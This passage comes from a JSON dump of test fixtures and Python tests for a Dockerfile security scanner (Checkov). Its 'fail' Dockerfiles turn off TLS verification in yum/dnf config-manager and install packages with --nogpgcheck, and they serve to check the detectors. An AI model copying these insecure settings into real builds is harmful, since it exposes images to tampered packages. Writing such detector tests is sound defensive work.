    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.whitespace",
    "content": "FROM fedora:rawhide\n\nRUN yum config-manager --save --setopt=sslverify=0\nRUN yum           config-manager           --save           --setopt=sslverify=0\n\nRUN dnf config-manager --save --setopt=sslverify=0\nRUN dnf           config-manager           --save           --setopt=sslverify=0\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.wilderness",
    "content": "FROM rolex:submariner\n\nRUN yum-config-manager --save --setopt=boca.sslverify=0 boca\nRUN yum-config-manager --setopt=\"epel.sslverify=0\" --save\nRUN yum-config-manager --save --setopt=something-base.sslverify=0\nRUN yum-config-manager --setopt=sslverify=false --save\nRUN yum-config-manager --save --setopt=kubernetes.sslverify=false\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.yum-config-manager",
    "content": "FROM fedora:rawhide\n\nRUN yum-config-manager --save --setopt=\\*.sslverify=0\nRUN yum-config-manager --save --setopt=\\*.sslverify=false\nRUN yum-config-manager --save --setopt=\\*.sslverify=no\n\nRUN yum-config-manager --setopt=\\*.sslverify=0 --save\nRUN yum-config-manager --setopt=\\*.sslverify=false --save\nRUN yum-config-manager --setopt=\\*.sslverify=no --save\n\nRUN yum-config-manager --save --setopt=sslverify='0'\nRUN yum-config-manager --save --setopt=sslverify='False'\nRUN yum-config-manager --save --setopt=sslverify='no'\n\nRUN yum-config-manager --save --setopt=sslverify=\"0\"\nRUN yum-config-manager --save --setopt=sslverify=\"false\"\nRUN yum-config-manager --save --setopt=sslverify=\"No\"\n\nRUN yum-config-manager \\\n    --setopt=sslverify=0 \\\n    --save\n\nRUN echo \"prodsec\" && yum-config-manager --setopt=\"lol.sslverify\"=0 --save\nRUN echo \"prodsec\" && yum-config-manager --setopt=\"lol.sslverify=no\" --save\n\nRUN echo \"prodsec\" && yum-config-manager --setopt='lol.sslverify'=False --save\nRUN echo \"prodsec\" && yum-config-manager --setopt='lol.sslverify=false' --save\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/pass/Dockerfile",
    "content": "FROM fedora:rawhide\nRUN yum-config-manager --disable updates\nRUN yum-config-manager --disable sslverify\nRUN yum-config-manager --disable \\* &> /dev/null\nRUN yum-config-manager --setopt=install_weak_deps=False --save\nRUN yum-config-manager --save --setopt=proxy=http://example.com >/dev/null\nRUN yum-config-manager --save --setopt=something-base.sslverify=1\nRUN yum-config-manager --save --setopt=something-base.sslverify=true\nRUN yum-config-manager --save --setopt=something-base.sslverify=on\nRUN yum-config-manager --save --setopt=sslverify=1\nRUN yum-config-manager --save --setopt=sslverify=true\nRUN yum-config-manager --save --setopt=sslverify=yes\nRUN yum-config-manager --save --setopt=notthedroids=0\nRUN yum-config-manager --save --setopt=yourelookingfor=false\nRUN yum-config-manager --save --setopt=thesearenot=no\nRUN yum-config-manager --setopt=sslverify=yes --add-repo https://example.com/yummy.repo\nRUN yum-config-manager --save --setopt=install_weak_deps=False | echo \"--setopt=something-base.sslverify=0\"\nRUN yum-config-manager --save --setopt=install_weak_deps=False && echo \"--setopt=main.sslverify=0\"\nRUN yum-config-manager --save --setopt=install_weak_deps=False || echo \"--setopt=sslverify=0\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.yum.RUN'\n  - 'fail/Dockerfile.yum.RUN'\n  - 'fail/Dockerfile.yum.RUN'\n  - 'fail/Dockerfile.yum.RUN'\n  - 'fail/Dockerfile.yum.RUN'\n  - 'fail/Dockerfile.dnf.RUN'\n  - 'fail/Dockerfile.dnf.RUN'\n  - 'fail/Dockerfile.dnf.RUN'\n  - 'fail/Dockerfile.dnf.RUN'\n  - 'fail/Dockerfile.dnf.RUN'\n  - 'fail/Dockerfile.tdnf.RUN'\n  - 'fail/Dockerfile.tdnf.RUN'\n  - 'fail/Dockerfile.tdnf.RUN'\n  - 'fail/Dockerfile.tdnf.RUN'\n  - 'fail/Dockerfile.tdnf.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.dnf",
    "content": "FROM fedora:rawhide\nRUN dnf install -y --nogpgcheck python3\nRUN dnf --nogpgcheck install -y python3\nRUN dnf \\\n    --nogpgcheck \\\n    install python3\nRUN dnf \\\n    install -y python3 \\\n    --nogpgcheck\nRUN echo \"prodsec\" && dnf --nogpgcheck -y install python3\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.tdnf",
    "content": "FROM fedora:rawhide\nRUN tdnf install -y --nogpgcheck python3\nRUN tdnf --nogpgcheck install -y python3\nRUN tdnf \\\n    --nogpgcheck \\\n    install python3\nRUN tdnf \\\n    install -y python3 \\\n    --nogpgcheck\nRUN echo \"prodsec\" && tdnf --nogpgcheck -y install python3\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.wilderness",
    "content": "FROM openjdk:ship\n\nRUN tdnf -y update && \\\n    tdnf -y upgrade && \\\n    tdnf install -y ${package} shadow-utils --nogpgcheck && \\\n    tdnf clean all\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.yum",
    "content": "FROM fedora:rawhide\nRUN yum install -y --nogpgcheck python3\nRUN yum --nogpgcheck install -y python3\nRUN yum \\\n    --nogpgcheck \\\n    install python3\nRUN yum \\\n    install -y python3 \\\n    --nogpgcheck\nRUN echo \"prodsec\" && yum --nogpgcheck -y install python3\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/pass/Dockerfile",
    "content": "FROM fedora:rawhide\nRUN yum install python3\nRUN dnf install -y python3\nRUN tdnf install python3\nRUN yum install python3 | grep \"--nogpgcheck\"\nRUN dnf install python3 | grep \"--nogpgcheck\"\nRUN tdnf install python3 | grep \"--nogpgcheck\"\nRUN yum update && yum upgrade \\\n    python3\nRUN dnf update && dnf upgrade \\\n    python3\nRUN tdnf update && tdnf upgrade \\\n    python3\nRUN yum update &&\\\n    echo \"--nogpgcheck\"\nRUN dnf update ||\\\n    echo \"--nogpgcheck\"\nRUN tdnf update ||\\\n    echo \"--nogpgcheck\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/test_yaml_policies.py",
    "content": "import os\nimport warnings\nfrom pathlib import Path\nfrom typing import List\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.dockerfile.graph_manager import DockerfileGraphManager\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n\n        graph_manager = DockerfileGraphManager(db_connector=db_connector)\n        super().__init__(\n            graph_manager=graph_manager,\n            real_graph_checks_path=str(\n                Path(__file__).parent.parent.parent.parent.parent / \"checkov/dockerfile/checks/graph_checks\"\n            ),\n            test_checks_path=\"\",\n            check_type=CheckType.GITHUB_ACTIONS,\n            test_file_path=__file__,\n            args=args,\n        )\n\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_RunUsingSudo(self):\n        self.go(\"RunUsingSudo\")\n    \n    def test_RunUnsafeCurl(self):\n        self.go(\"RunUnsafeCurl\")\n\n    def test_RunUnsafeWget(self):\n        self.go(\"RunUnsafeWget\")\n\n    def test_RunPipTrustedHost(self):\n        self.go(\"RunPipTrustedHost\")\n\n    def test_EnvPythonHttpsVerify(self):\n        self.go(\"EnvPythonHttpsVerify\")\n\n    def test_EnvNodeTlsRejectUnauthorized(self):\n        self.go(\"EnvNodeTlsRejectUnauthorized\")\n\n    def test_RunApkAllowUntrusted(self):\n        self.go(\"RunApkAllowUntrusted\")\n\n    def test_RunAptGetAllowUnauthenticated(self):\n        self.go(\"RunAptGetAllowUnauthenticated\")\n    \n    def test_RunYumNoGpgCheck(self):\n        self.go(\"RunYumNoGpgCheck\")\n\n    def test_RunRpmNoSignature(self):\n        self.go(\"RunRpmNoSignature\")\n\n    def test_RunAptGetForceYes(self):\n        self.go(\"RunAptGetForceYes\")\n\n    def test_EnvNpmConfigStrictSsl(self):\n        self.go(\"EnvNpmConfigStrictSsl\")\n\n    def test_RunNpmConfigSetStrictSsl(self):\n        self.go(\"RunNpmConfigSetStrictSsl\")\n\n    def test_EnvGitSslNoVerify(self):\n        self.go(\"EnvGitSslNoVerify\")\n\n    def test_RunYumConfigManagerSslVerify(self):\n        self.go(\"RunYumConfigManagerSslVerify\")\n\n    def test_EnvPipTrustedHost(self):\n        self.go(\"EnvPipTrustedHost\")\n\n    def test_RunChpasswd(self):\n        self.go(\"RunChpasswd\")\n\n    def test_registry_load(self):\n        registry = self.get_checks_registry()\n        self.assertGreater(len(registry.checks), 0)\n\n    def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]):\n        evaluated_keys_results = results[0].check_result[\"evaluated_keys\"]\n        self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results)\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(CheckType.GITHUB_ACTIONS)\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(\n                check_id=check[\"id\"],\n                check_name=check[\"name\"],\n                check_result=check_result,\n                code_block=[(0, \"\")],\n                file_path=entity.get(CustomAttributes.FILE_PATH),\n                file_line_range=[entity.get(\"__startline__\"), entity.get(\"__endline__\")],\n                resource=entity.get(CustomAttributes.RESOURCE_TYPE),\n                entity_tags=entity.get(\"tags\", {}),\n                evaluations=None,\n                check_class=\"\",\n                file_abs_path=entity.get(CustomAttributes.FILE_PATH),\n            )\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n\n    def assert_entities(self, expected_entities: List[str], results: List[Record], assertion: bool):\n        self.assertEqual(\n            len(expected_entities),\n            len(results),\n            f\"mismatch in number of results in {'passed' if assertion else 'failed'}, \"\n            f\"expected: {len(expected_entities)}, got: {len(results)}\",\n        )\n        for expected_entity in expected_entities:\n            found = False\n            for check_result in results:\n                entity_id = f\"{check_result.file_path.lstrip('/')}.{check_result.resource}\"\n                if entity_id == expected_entity:\n                    found = True\n                    break\n            self.assertTrue(found, f\"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}\")\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/test_local_graph.py",
    "content": "from collections import Counter\nfrom pathlib import Path\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.dockerfile.graph_builder.local_graph import DockerfileLocalGraph\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.dockerfile.utils import get_scannable_file_paths, get_files_definitions\n\nRESOURCES_DIR = Path(__file__).parent.parent / \"resources\"\n\n\ndef test_build_graph():\n    # given\n    test_dir_path = RESOURCES_DIR / \"expose_port\"\n    files_list = get_scannable_file_paths(root_folder=test_dir_path)\n    definitions, _ = get_files_definitions(files_list)\n\n    local_graph = DockerfileLocalGraph(definitions=definitions)\n\n    # when\n    local_graph.build_graph(render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == 16\n    assert len(local_graph.edges) == 0\n\n    assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 16\n\n    resource_type_counts = Counter(\n        [vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) for vertex in local_graph.vertices]\n    )\n    assert resource_type_counts == Counter(\n        {\n            ResourceType.FROM: 3,\n            ResourceType.RUN: 3,\n            ResourceType.EXPOSE: 3,\n            ResourceType.CMD: 3,\n            ResourceType.COPY: 2,\n            ResourceType.WORKDIR: 1,\n            ResourceType.HEALTHCHECK: 1,\n        }\n    )\n"
  },
  {
    "path": "tests/dockerfile/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "tests/dockerfile/image_referencer/resources/Dockerfile.multi_platform",
    "content": "FROM --platform=$BUILDPLATFORM golang:alpine AS build\n\nARG TARGETPLATFORM\nARG BUILDPLATFORM\n\nRUN echo \"I am running on $BUILDPLATFORM, building for $TARGETPLATFORM\" > /log\n\nFROM alpine\n\nCOPY --from=build /log /log\n"
  },
  {
    "path": "tests/dockerfile/image_referencer/resources/Dockerfile.multi_stage",
    "content": "# Build stage\nFROM maven:3.8-openjdk-17-slim AS build\n\nCOPY pom.xml /app/pom.xml\nCOPY src /app/src\n\nRUN mvn -f /app/pom.xml clean package\n\n# Run stage\nFROM amazonlinux:2 AS run\n\nRUN yum install -y java-17-amazon-corretto-headless\n\nCOPY --from=build /app/target/main-1.0-SNAPSHOT-jar-with-dependencies.jar /app/app.jar\n\nCMD [\"java\",\"-jar\",\"/app/app.jar\"]\n"
  },
  {
    "path": "tests/dockerfile/image_referencer/resources/Dockerfile.simple",
    "content": "FROM php:7.1-apache\n\nRUN apk --no-cache add nginx\n"
  },
  {
    "path": "tests/dockerfile/image_referencer/test_manager.py",
    "content": "from checkov.common.images.image_referencer import Image\nfrom checkov.dockerfile.image_referencer.manager import DockerfileImageReferencerManager\n\n\ndef test_extract_images_from_resources():\n    # given\n    definitions = {\n        \"/Dockerfile\": {\n            \"FROM\": [\n                {\n                    \"instruction\": \"FROM\",\n                    \"startline\": 0,\n                    \"endline\": 0,\n                    \"content\": \"FROM php:7.1-apache\\n\",\n                    \"value\": \"php:7.1-apache\",\n                }\n            ],\n            \"RUN\": [\n                {\n                    \"instruction\": \"RUN\",\n                    \"startline\": 2,\n                    \"endline\": 2,\n                    \"content\": \"RUN apk --no-cache add nginx\\n\",\n                    \"value\": \"apk --no-cache add nginx\",\n                },\n            ],\n        },\n    }\n\n    # when\n    images = DockerfileImageReferencerManager(definitions=definitions).extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path=\"/Dockerfile\",\n            name=\"php:7.1-apache\",\n            start_line=1,\n            end_line=1,\n            related_resource_id=\"/Dockerfile:/Dockerfile.FROM\",\n        ),\n    ]\n"
  },
  {
    "path": "tests/dockerfile/image_referencer/test_provider.py",
    "content": "from checkov.common.images.image_referencer import Image\nfrom checkov.dockerfile.image_referencer.provider import DockerfileProvider\n\n\ndef test_extract_images_from_resources():\n    # given\n    definitions = {\n        \"/Dockerfile\": {\n            \"FROM\": [\n                {\n                    \"instruction\": \"FROM\",\n                    \"startline\": 0,\n                    \"endline\": 0,\n                    \"content\": \"FROM maven:3.8-openjdk-17-slim AS build\\n\",\n                    \"value\": \"maven:3.8-openjdk-17-slim AS build\",\n                },\n                {\n                    \"instruction\": \"FROM\",\n                    \"startline\": 4,\n                    \"endline\": 4,\n                    \"content\": \"FROM amazonlinux:2 AS run\\n\",\n                    \"value\": \"amazonlinux:2\",\n                },\n            ],\n            \"RUN\": [\n                {\n                    \"instruction\": \"RUN\",\n                    \"startline\": 2,\n                    \"endline\": 2,\n                    \"content\": \"RUN apt-get install -y curl\\n\",\n                    \"value\": \"apt-get install -y curl\",\n                },\n            ],\n        },\n    }\n\n    # when\n    provider = DockerfileProvider(definitions=definitions)\n    images = provider.extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path=\"/Dockerfile\",\n            name=\"amazonlinux:2\",\n            start_line=5,\n            end_line=5,\n            related_resource_id=\"/Dockerfile:/Dockerfile.FROM\",\n        ),\n    ]\n\n\ndef test_extract_images_from_resources_with_no_image():\n    # given\n    definitions = {\n        \"/Dockerfile\": {\n            \"RUN\": [\n                {\n                    \"instruction\": \"RUN\",\n                    \"startline\": 2,\n                    \"endline\": 2,\n                    \"content\": \"RUN apt-get install -y curl\\n\",\n                    \"value\": \"apt-get install -y curl\",\n                },\n            ],\n        },\n    }\n\n    # when\n    provider = DockerfileProvider(definitions=definitions)\n    images = provider.extract_images_from_resources()\n\n    # then\n    assert not images\n"
  },
  {
    "path": "tests/dockerfile/image_referencer/test_runner_dockerfile_resources.py",
    "content": "from pathlib import Path\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.image_referencer.test_utils import mock_get_license_statuses_async, mock_get_image_cached_result_async\n\nRESOURCES_PATH = Path(__file__).parent / \"resources\"\n\n\ndef test_simple_dockerfile(mocker: MockerFixture):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"Dockerfile.simple\"\n    image_name = \"php:7.1-apache\"\n    code_lines = \"1-1\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.DOCKERFILE)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 21\n    assert len(tf_report.failed_checks) == 2\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert sca_image_report.image_cached_results[0][\"dockerImageName\"] == \"php:7.1-apache\"\n    assert \"Dockerfile.simple.FROM\" in sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.image_cached_results) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\ndef test_multi_stage_dockerfile(mocker: MockerFixture):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"Dockerfile.multi_stage\"\n    image_name_1 = \"maven:3.8-openjdk-17-slim\"\n    image_name_2 = \"amazonlinux:2\"\n    code_lines_1 = \"2-2\"\n    code_lines_2 = \"10-10\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n\n    # when\n    reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.DOCKERFILE)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 38\n    assert len(tf_report.failed_checks) == 2\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\ndef test_multi_platform_dockerfile(mocker: MockerFixture):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"Dockerfile.multi_platform\"\n    image_name_1 = \"golang:alpine\"\n    image_name_2 = \"alpine\"\n    code_lines_1 = \"1-1\"\n    code_lines_2 = \"8-8\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n\n    # when\n    reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.DOCKERFILE)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 30\n    assert len(tf_report.failed_checks) == 3\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/dockerfile/resources/__init__.py",
    "content": ""
  },
  {
    "path": "tests/dockerfile/resources/empty_dockerfile/Dockerfile",
    "content": ""
  },
  {
    "path": "tests/dockerfile/resources/expose_port/fail/Dockerfile",
    "content": "FROM node:alpine\nWORKDIR /usr/src/app\nCOPY package*.json ./\nRUN npm install\nCOPY . .\nEXPOSE 3000 22\nHEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1\nCMD [\"node\",\"app.js\"]"
  },
  {
    "path": "tests/dockerfile/resources/expose_port/pass/Dockerfile",
    "content": "FROM gliderlabs/alpine:3.3\nRUN apk --no-cache add nginx\nEXPOSE 3000 80 443\nCMD [\"nginx\", \"-g\", \"daemon off;\"]"
  },
  {
    "path": "tests/dockerfile/resources/expose_port/skip/Dockerfile",
    "content": "#checkov:skip=CKV_DOCKER_5: no need to skip\n#checkov:skip=CKV2_DOCKER_7: no need to skip graph check\nFROM gliderlabs/alpine:3.3\nRUN apk --no-cache add nginx\nEXPOSE 3000 80 443 22\n#checkov:skip=CKV_DOCKER_1: required\nCMD [\"nginx\", \"-g\", \"daemon off;\"]"
  },
  {
    "path": "tests/dockerfile/resources/multiline_command/Dockerfile",
    "content": "# syntax=docker/dockerfile:1.4\nFROM docker.io/library/ubuntu:22.04\n\nRUN <<EOF\necho \"Hello\"\necho \"World\"\nmkdir -p /hello/world\n# not detected by checkov:\napt update\nEOF\n\n# detected by checkov:\nRUN apt update"
  },
  {
    "path": "tests/dockerfile/resources/name_variations/.Dockerfile",
    "content": "FROM alpine:3.14.2\n\nENTRYPOINT [ \"echo\" ]\nCMD [ \"Hello world!\" ]\n"
  },
  {
    "path": "tests/dockerfile/resources/name_variations/Dockerfile.prod",
    "content": "FROM alpine:3.14.2\n\nENTRYPOINT [ \"echo\" ]\nCMD [ \"Hello world!\" ]\n"
  },
  {
    "path": "tests/dockerfile/resources/name_variations/prod.dockerfile",
    "content": "FROM alpine:3.14.2\n\nENTRYPOINT [ \"echo\" ]\nCMD [ \"Hello world!\" ]\n"
  },
  {
    "path": "tests/dockerfile/resources/wildcard_skip/Dockerfile",
    "content": "FROM python:3.10-alpine\n#checkov:skip=CKV_DOCKER_1: I like port 22\nEXPOSE 22\n"
  },
  {
    "path": "tests/dockerfile/test_graph_manager.py",
    "content": "from pathlib import Path\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.dockerfile.graph_manager import DockerfileGraphManager\nfrom checkov.dockerfile.utils import get_scannable_file_paths, get_files_definitions\n\nRESOURCES_DIR = Path(__file__).parent / \"resources\"\n\n\ndef test_build_graph_from_definitions():\n    # given\n    test_dir_path = RESOURCES_DIR / \"expose_port\"\n    test_file = str(test_dir_path / \"pass/Dockerfile\")\n    files_list = get_scannable_file_paths(root_folder=test_dir_path)\n    definitions, _ = get_files_definitions(files_list)\n\n    graph_manager = DockerfileGraphManager(db_connector=NetworkxConnector())\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(definitions=definitions)\n\n    # then\n    assert len(local_graph.vertices) == 16\n    assert len(local_graph.edges) == 0\n\n    expose_idx = local_graph.vertices_by_path_and_name[(test_file, ResourceType.EXPOSE)]\n    expose = local_graph.vertices[expose_idx]\n\n    assert expose.block_type == BlockType.RESOURCE\n    assert expose.id == ResourceType.EXPOSE\n    assert expose.source == \"Dockerfile\"\n    assert expose.attributes[CustomAttributes.RESOURCE_TYPE] == ResourceType.EXPOSE\n    assert expose.config == {\n        \"content\": \"EXPOSE 3000 80 443\\n\",\n        \"value\": \"3000 80 443\",\n        \"__startline__\": 2,\n        \"__endline__\": 2,\n    }\n"
  },
  {
    "path": "tests/dockerfile/test_runner.py",
    "content": "import dis\nimport inspect\nimport unittest\n\nimport os\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, Any\n\nfrom parameterized import parameterized_class\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\nfrom checkov.dockerfile.runner import Runner, get_files_definitions\nfrom checkov.dockerfile.registry import registry\nfrom checkov.runner_filter import RunnerFilter\n\nRESOURCES_DIR = Path(__file__).parent / \"resources\"\n\n@parameterized_class([\n   {\"db_connector\": NetworkxConnector},\n   {\"db_connector\": RustworkxConnector}\n])\nclass TestRunnerValid(unittest.TestCase):\n    def setUp(self) -> None:\n        self.orig_checks = registry.checks\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.DOCKERFILE)\n\n    def test_runner_empty_dockerfile(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/empty_dockerfile\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='all'))\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_runner_name_variations(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/name_variations\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='all'))\n        self.assertEqual(len(report.resources), 2)\n        self.assertEqual(len([file for file in report.resources if 'Dockerfile.prod' in file]), 1)\n        self.assertEqual(len([file for file in report.resources if 'prod.dockerfile' in file]), 1)\n\n    def test_runner_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='all',checks=['CKV_DOCKER_1']))\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        filter = RunnerFilter(framework=['dockerfile'], 